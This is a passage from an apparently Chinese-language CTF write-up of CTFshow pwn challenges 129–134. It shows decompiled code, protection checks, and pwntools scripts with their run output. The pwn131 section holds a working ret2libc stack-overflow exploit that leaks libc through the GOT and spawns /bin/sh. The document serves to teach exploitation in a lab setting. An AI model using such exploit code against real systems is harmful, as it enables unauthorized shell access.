sprintf(s_, "Great job! You finished %d question %d seconds\n", n100, v3 - v2);
puts(s_);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Loser~ Loser~ Loser~ Loser~ Loser~");
}

跟进sub_E43():

_BOOL8 __fastcall sub_E43(__int64 n100)
{
__int64 v2; // rax
_QWORD buf[4]; // [rsp+10h] [rbp-30h] BYREF
int v4; // [rsp+34h] [rbp-Ch]
int v5; // [rsp+38h] [rbp-8h]
int v6; // [rsp+3Ch] [rbp-4h]

memset(buf, 0, sizeof(buf));
if ( !(_DWORD)n100 )
return 1;
if ( !(unsigned int)sub_E43((unsigned int)(n100 - 1)) )
return 0;
v6 = rand() % (int)n100;
v5 = rand() % (int)n100;
v4 = v5 * v6;
puts("======================Calc 1.0======================");
printf("doubt %d\n", n100);
printf("Question: %d * %d = ? Answer:", v6, v5);
read(0, buf, 0x400u);
v2 = strtol((const char *)buf, 0, 10);
return v2 == v4;
}

read会读⼊0x400个字符到栈上,⽽对应的局部变量buf显然没那么⼤,因此会造成栈溢出。由于使⽤了PIE,⽽且题⽬中虽然有system但是没有后⻔,所以本题没办法使⽤partial write劫持RIP。

在进⾏调试时发现了栈上有⼤量指向libc的地址。

查看⼀下汇编代码:

mov     eax, [rbp+var_34]
mov esi, eax
lea rdi, aDoubtD ; "doubt %d\n"
mov eax, 0
call _printf
mov edx, [rbp+var_8]

可以发现printf输出的参数位于栈上,通过rbp定位。

利⽤这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从⽽泄露出这些地址,利⽤这些地址和libc就可以计算到one gadget RCE的地址从⽽栈溢出调⽤。我们把RBP的最后两个⼗六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。但是成功率有限,有时候能泄露出libc中的地址,有时候是start的⾸地址,有时候是⽆意义的数据,甚⾄会直接出错,原因是[rbp+var_34]中的数据是0,idiv除法指令产⽣了除零错误。此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个⼗六进制数。⽽这个数的最⾼位可能是0或者1,转换成有符号整数就可能是正负两种情况。

由于我们泄露出来的只是地址的低32位,抛去前⾯的4个0,我们还需要猜16位,即4个⼗六进制数,这种⽅式的爆破区间有点⼤,成功⼏率较低,需要对各种条件进⾏限制才能提升⼏率。

经过调试,发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX

libc的地址都为0x7fXXXXXXXXXX

已知8个16进制数,剩下两个随便填⼀下如:2a

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b""
io.interactive()

pwn130[先过]

Hint:Calc 2.0远程环境:Ubuntu 16.04

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

还是64位保护全开

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int n0x7FFFFFFF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
n0x7FFFFFFF = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &n0x7FFFFFFF) == 2 )
{
if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, n0x7FFFFFFF);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}

一个很简单的逻辑,先看到有一个useful函数,然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数,并将它存储在变量v4和v5中,返回值被强制转换为无符号数,然后与2进行比较。满足后进入下一个if语句,不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值,则进入这个条件分支,有一个gift函数。如果输入的两个整数不是初始值,则输出这两个数的值。

分别跟进几个不知道干啥的函数useful:

int useful()
{
puts(" ====================================================================================================");
puts(" Type | Byte | Range ");
puts(" ====================================================================================================");
puts(" short int | 2 byte | 0~0x7fff 0x8000~0xffff ");
puts(" unsigned short int | 2 byte | 0~0xffff ");
puts(" int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff ");
puts(" unsigned int | 4 byte | 0~0xffffffff ");
puts(" long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
puts(" unsigned long int | 8 byte | 0~0xffffffffffffffff ");
return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

gift:

int gift()
{
puts("This is the first question of this type");
puts("Here is you want:");
return system("cat /ctfshow_flag");
}

那么就很简单了只要我们输入的数等于它的初始值满足此条件即可

输入-2147483648 2147483647

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter two integers: -2147483648 2147483647
This is the first question of this type
Here is you want:
flag{just_test_my_process}
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b"-2147483648 2147483647" # 2147483648 2147483647 也可以
io.sendlineafter(b"Enter two integers: ",payload)
io.interactive()

pwn131(ubunt18)

Hint:常规绕过

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

32位程序仅关闭Canary

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("main addr is here :");
printf("%p\n", main);
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

发现程序输出了main函数的地址

跟进ctfshow函数:

ssize_t ctfshow()
{
_BYTE buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

明显的栈溢出漏洞

接着看:

$ gdb ./pwn
pwndbg> disas /r main
Dump of assembler code for function main:
0x0000079a <+0>: 8d 4c 24 04 lea ecx,[esp+0x4]
0x0000079e <+4>: 83 e4 f0 and esp,0xfffffff0
0x000007a1 <+7>: ff 71 fc push DWORD PTR [ecx-0x4]
0x000007a4 <+10>: 55 push ebp
0x000007a5 <+11>: 89 e5 mov ebp,esp
0x000007a7 <+13>: 53 push ebx
0x000007a8 <+14>: 51 push ecx
0x000007a9 <+15>: e8 72 fd ff ff call 0x520 <__x86.get_pc_thunk.bx>
0x000007ae <+20>: 81 c3 12 28 00 00 add ebx,0x2812
0x000007b4 <+26>: e8 64 fe ff ff call 0x61d <init>
0x000007b9 <+31>: e8 a5 fe ff ff call 0x663 <logo>
0x000007be <+36>: 83 ec 0c sub esp,0xc
0x000007c1 <+39>: 8d 83 eb dd ff ff lea eax,[ebx-0x2215]
0x000007c7 <+45>: 50 push eax
0x000007c8 <+46>: e8 c3 fc ff ff call 0x490 <puts@plt>
0x000007cd <+51>: 83 c4 10 add esp,0x10
0x000007d0 <+54>: 83 ec 08 sub esp,0x8
0x000007d3 <+57>: 8d 83 da d7 ff ff lea eax,[ebx-0x2826]
0x000007d9 <+63>: 50 push eax
0x000007da <+64>: 8d 83 ff dd ff ff lea eax,[ebx-0x2201]
0x000007e0 <+70>: 50 push eax
0x000007e1 <+71>: e8 9a fc ff ff call 0x480 <printf@plt>
0x000007e6 <+76>: 83 c4 10 add esp,0x10
0x000007e9 <+79>: e8 77 ff ff ff call 0x765 <ctfshow>
0x000007ee <+84>: 83 ec 04 sub esp,0x4
0x000007f1 <+87>: 6a 0e push 0xe
0x000007f3 <+89>: 8d 83 03 de ff ff lea eax,[ebx-0x21fd]
0x000007f9 <+95>: 50 push eax
0x000007fa <+96>: 6a 00 push 0x0
0x000007fc <+98>: e8 af fc ff ff call 0x4b0 <write@plt>
0x00000801 <+103>: 83 c4 10 add esp,0x10
0x00000804 <+106>: b8 00 00 00 00 mov eax,0x0
0x00000809 <+111>: 8d 65 f8 lea esp,[ebp-0x8]
0x0000080c <+114>: 59 pop ecx
0x0000080d <+115>: 5b pop ebx
0x0000080e <+116>: 5d pop ebp
0x0000080f <+117>: 8d 61 fc lea esp,[ecx-0x4]
0x00000812 <+120>: c3 ret
End of assembler dump.

pwndbg> disas /r ctfshow
Dump of assembler code for function ctfshow:
0x00000765 <+0>: 55 push ebp
0x00000766 <+1>: 89 e5 mov ebp,esp
0x00000768 <+3>: 53 push ebx
0x00000769 <+4>: 81 ec 84 00 00 00 sub esp,0x84
0x0000076f <+10>: e8 9f 00 00 00 call 0x813 <__x86.get_pc_thunk.ax>
0x00000774 <+15>: 05 4c 28 00 00 add eax,0x284c
0x00000779 <+20>: 83 ec 04 sub esp,0x4
0x0000077c <+23>: 68 00 01 00 00 push 0x100
0x00000781 <+28>: 8d 95 78 ff ff ff lea edx,[ebp-0x88]
0x00000787 <+34>: 52 push edx
0x00000788 <+35>: 6a 00 push 0x0
0x0000078a <+37>: 89 c3 mov ebx,eax
0x0000078c <+39>: e8 df fc ff ff call 0x470 <read@plt>
0x00000791 <+44>: 83 c4 10 add esp,0x10
0x00000794 <+47>: 90 nop
0x00000795 <+48>: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
0x00000798 <+51>: c9 leave
0x00000799 <+52>: c3 ret
End of assembler dump.

ctfshow函数的栈操作有个细节:

  • 进入函数时:push ebx(把当前ebx保存到栈上,位置是ebp-0x4);
  • 退出函数时:mov ebx, [ebp-0x4](从栈上恢复ebx)。

如果栈溢出时覆盖了ebp-0x4的内容(保存ebx的位置),导致恢复的ebx错误,调用任何函数都会崩溃。所以溢出时必须手动填对ebx的值

所以与之前的不同,它不再对程序的原始字节码做修改,⽽是使⽤⼀类__x86.get_pc_thunk.xx函数,通过PC指针来进⾏定位

__x86.get_pc_thunk.bx的作⽤将下⼀条指令的地址赋值给ebx寄存器,然后通过加上⼀个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址

ebx = 0x7ae + 0x2812 = 0x2fc0

程序在运⾏时,这个基地址就是程序第三部分的起始位置

由于在函数末尾有恢复ebx寄存器的⾏为,因此需要在溢出时需要将GOT地址也覆盖上去,⾄此就完成了ASLR和PIE的绕过。

# 构造第一个payload:调用write泄露write的实际地址
# 栈布局(以ctfshow的ebp为基准):
# [ebp-0x88~ebp-1]:buf[132] → 用132字节填充
# [ebp-0x4]:保存的ebx → 填ebx_addr(恢复ebx)
# [ebp]:旧ebp → 填“bbbb”(随便填,不影响)
# [ebp+4]:返回地址 → 填write_plt(调用write)
# [ebp+8]:write的返回地址 → 填ctfshow_addr(写完后回到ctfshow,等第二次溢出)
# [ebp+12]:write的参数3(count=4)→ 32位地址占4字节,读4字节就行
# [ebp+16]:write的参数2(buf=write_got)→ 输出write_got里的内容(write实际地址)
# [ebp+20]:write的参数1(fd=1)→ 1是stdout(标准输出),把内容打印到屏幕

# 构造第二个payload:调用system("/bin/sh")
# 栈布局:
# 前140字节:填充到返回地址(132(buf) + 4(ebx) + 4(ebp) = 140)
# [ebp+4]:返回地址 → 填system_addr(调用system)
# [ebp+8]:system的返回地址 → 填0(随便填,不影响)
# [ebp+12]:system的参数(/bin/sh地址)→ 填binsh_addr
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# 第一步:泄露程序基地址
io.recvuntil(b"main addr is here :\n")
main_addr = int(io.recvline(),16) # 接收main的实际地址(如0x5655679a),转成16进制整数
print(hex(main_addr))
base_addr = main_addr - elf.sym['main']
ctfshow_addr = base_addr + elf.sym['ctfshow']
write_plt = base_addr + elf.sym['write']
write_got = base_addr + elf.got['write']
ebx_addr = base_addr + 0x2fc0 # 正确的ebx值(编译时GOT基址偏移是0x2fc0,加基地址得实际值)

# 构造第一个payload:调用write泄露write的实际地址
payload1 = cyclic(132) + p32(ebx_addr) + b'bbbb' + p32(write_plt) + p32(ctfshow_addr) + p32(1) + p32(write_got) + p32(4)
io.send(payload1) #触发栈溢出,调用write泄露地址
write_actual_addr = u32(io.recv(4)) #接收write泄露的地址(4字节),转成整数
print(hex(write_actual_addr))

# 第二步:计算libc基地址
libc_base = write_actual_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = cyclic(140) + p32(system_addr) + p32(0) + p32(binsh_addr)
io.send(payload2) #触发栈溢出,调用system拿到shell
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 89
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x5a86679a
0xf7381b80
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn132

Hint:非常简单的逻辑

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位保护全开,这⾥并没有开启FORTIFY保护

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
memset(s, 0, 0x10u);
puts("What do you want?");
printf("%3$#p\n");
__isoc99_scanf("%s", s);
ctfshow(s);
return 0;
}

跟进ctfshow函数:

int __fastcall ctfshow(const char *p_s)
{
if ( strncmp(p_s, "CTFshow-daniu", 0xDu) )
return puts("You are too young to simple!");
puts("Good boy!");
return system("/bin/sh");
}

可以看到当输⼊的字符串为“CTFshow-daniu”时就能得到⼀个shell,由于没有开启FORTIFY保护,程序也就能正常执⾏:

from pwn import *
io = process('./pwn')
io.sendline(b"CTFshow-daniu")
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 104
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Simply bypass it!
* *************************************
What do you want?
0x7286d1669574
Good boy!
$ ls
ctfshow_flag

pwn133

Hint:保护一开,傻傻分不清了~

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Stripped: No

64位保护全开,可以看到这次开启了FORTIFY保护

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD v4[5]; // [rsp+0h] [rbp-28h] BYREF

v4[3] = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
v4[0] = 0;
v4[1] = 0;
puts("What do you want?");
__isoc99_scanf("%s", v4);
ctfshow(v4);
__printf_chk(1, "%9$#p\n");
return 0;
}

同上⼀题⽐较,发现有些不安全函数已经被替换成安全函数了

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Simply bypass it!
* *************************************
What do you want?
CTFshow-daniu
Good boy!
*** invalid %N$ use detected ***
Aborted (core dumped)

此时已经开启了缓冲区溢出攻击检查(不过这⾥也开启了Canary保护)

跟进ctfshow函数:

int __fastcall ctfshow(const void *a1)
{
bool v2; // al
bool v3; // cf
bool v4; // zf
__int64 n5; // rcx
const char *p_Stack; // rdi
const char *v7; // rsi
char v8; // al
bool v9; // cf
bool v10; // zf
__int64 n3; // rcx
const char *p_Fmt; // rdi
const char *v13; // rsi

v2 = memcmp(a1, "CTFshow-daniu", 0xDu) != 0;
v3 = 0;
v4 = !v2;
if ( v2 )
{
n5 = 5;
p_Stack = "Stack";
v7 = (const char *)a1;
do
{
if ( !n5 )
break;
v3 = *v7 < (unsigned int)*p_Stack;
v4 = *v7++ == *p_Stack++;
--n5;
}
while ( v4 );
v8 = (!v3 && !v4) - v3;
v9 = 0;
v10 = v8 == 0;
if ( v8 )
{
n3 = 3;
p_Fmt = "Fmt";
v13 = (const char *)a1;
do
{
if ( !n3 )
break;
v9 = *v13 < (unsigned int)*p_Fmt;
v10 = *v13++ == *p_Fmt++;
--n3;
}
while ( v10 );
if ( (!v9 && !v10) == v9 )
{
puts("Smart boy!");
return Fmt("Smart boy!", v13);
}
else if ( !memcmp(a1, "check", 5u) )
{
__printf_chk(1, "%p\n", a1);
return _chk();
}
else
{
return puts("You are too young to simple!");
}
}
else
{
puts("Great boy!");
return Stack_Overflow("Great boy!", v7);
}
}
else
{
puts("Good boy!");
__printf_chk(1, "%3$#p\n");
return system("/bin/sh");
}
}

可以看到程序既定的⼀些漏洞在开启此保护后很多函数都被替换成相对安全函数了

unsigned __int64 __fastcall Fmt(__int64 Smart_boy)
{
char %9$_p_n[10]; // [rsp+Eh] [rbp-1Ah] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-10h]

v3 = __readfsqword(0x28u);
__read_chk(0, %9$_p_n, 20, 10);
__printf_chk(1, %9$_p_n);
return __readfsqword(0x28u) ^ v3;
}

查看⼀下敏感字符串[shift+F12]:

.rodata:0000000000001312	0000000E	C	/ctfshow_flag

上⼀题的后⻔函数还在,但是很明显,由于开启了FORTIFY保护

这条路根本⾛不下来,程序就会异常退出,看到还有⼀个/ctfshow_flag⽂件,跟进查看⼀下:

unsigned __int64 _chk()
{
FILE *stream; // rbx
_BYTE buf[9]; // [rsp+Fh] [rbp-29h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-20h]

v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
while ( 1 )
{
buf[0] = fgetc(stream);
if ( buf[0] == 0xFF )
break;
write(1, buf, 1u);
}
return __readfsqword(0x28u) ^ v3;
}

可以看到如果程序⾛到这就会输出flag,理清逻辑,我们不难知道,当输⼊的字符串为“check”时,即可输出flag

from pwn import *
io = process('./pwn')
io.sendline(b"check")
io.interactive()
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Simply bypass it!
* *************************************
What do you want?
check
0x7ffcd3080f50
flag{just_test_my_process}
*** invalid %N$ use detected ***
Aborted (core dumped)

pwn134

Hint:这一次我站在雨里,连我自己也分不清自己!

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Stripped: No

64位保护全开,依旧开启了FORTIFY保护

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int128 v4; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-10h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
v4 = 0;
puts("What do you want?");
__isoc99_scanf("%s", &v4);
ctfshow(&v4);
return 0;
}

跟进ctfshow函数:

int __fastcall ctfshow(const void *a1)
{
bool v2; // dl
bool v3; // cf
bool v4; // zf
const char *p_Stack; // rdi
__int64 n5; // rcx
const char *v7; // rsi
char v8; // dl
bool v9; // cf
bool v10; // zf
const char *p_Fmt; // rdi
__int64 n3; // rcx
const char *v13; // rsi
bool v14; // dl
bool v15; // cf
bool v16; // zf
const char *p_Exit; // rdi
const char *v18; // rsi
__int64 n4; // rcx

v2 = memcmp(a1, "CTFshow-daniu", 0xDu) != 0;
v3 = 0;
v4 = !v2;
if ( v2 )
{
p_Stack = "Stack";
n5 = 5;
v7 = (const char *)a1;
do
{
if ( !n5 )
break;
v3 = *v7 < (unsigned int)*p_Stack;
v4 = *v7++ == *p_Stack++;
--n5;
}
while ( v4 );
v8 = (!v3 && !v4) - v3;
v9 = 0;
v10 = v8 == 0;
if ( v8 )
{
p_Fmt = "Fmt";
n3 = 3;
v13 = (const char *)a1;
do
{
if ( !n3 )
break;
v9 = *v13 < (unsigned int)*p_Fmt;
v10 = *v13++ == *p_Fmt++;
--n3;
}
while ( v10 );
if ( (!v9 && !v10) == v9 )
{
puts("Smart boy!");
return Fmt("Smart boy!", v13);
}
else
{
v14 = memcmp(a1, "Quit", 4u) != 0;
v15 = 0;
v16 = !v14;
if ( !v14 )
{
puts("See you ~");
exit(0);
}
p_Exit = "Exit";
v18 = (const char *)a1;
n4 = 4;
do
{
if ( !n4 )
break;
v15 = *v18 < (unsigned int)*p_Exit;
v16 = *v18++ == *p_Exit++;
--n4;
}
while ( v16 );
if ( (!v15 && !v16) == v15 )
{
puts("See you again!");
return daniu("See you again!", v18);
}
else
{
return puts("You are too young to simple!");
}
}
}
else
{
puts("Great boy!");
return Stack_Overflow("Great boy!", v7);
}
}
else
{
puts("Good boy!");
__printf_chk(1, "%6$#x\n");
return system("/bin/sh");
}
}

可以看到,逻辑原本挺简单的,但是被弄的⾮常复杂,同样的,存在后⻔函数

unsigned __int64 d_daniu()
{
FILE *stream; // rbx
_BYTE buf[9]; // [rsp+Fh] [rbp-29h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-20h]

v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
while ( 1 )
{
buf[0] = fgetc(stream);
if ( buf[0] == 0xFF )
break;
write(1, buf, 1u);
}
return __readfsqword(0x28u) ^ v3;
}

只需要捋清楚哪⾥⼀步步调⽤⼀步步跟进就能获取到flag

其实仅仅只需要输⼊”Exit”然后等待⼏秒即可获得flag了

from pwn import *
io = process('./pwn')
io.sendline(b"Exit")
io.interactive()
$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Simply bypass it!
* *************************************
What do you want?
Exit
See you again!
flag{just_test_my_process}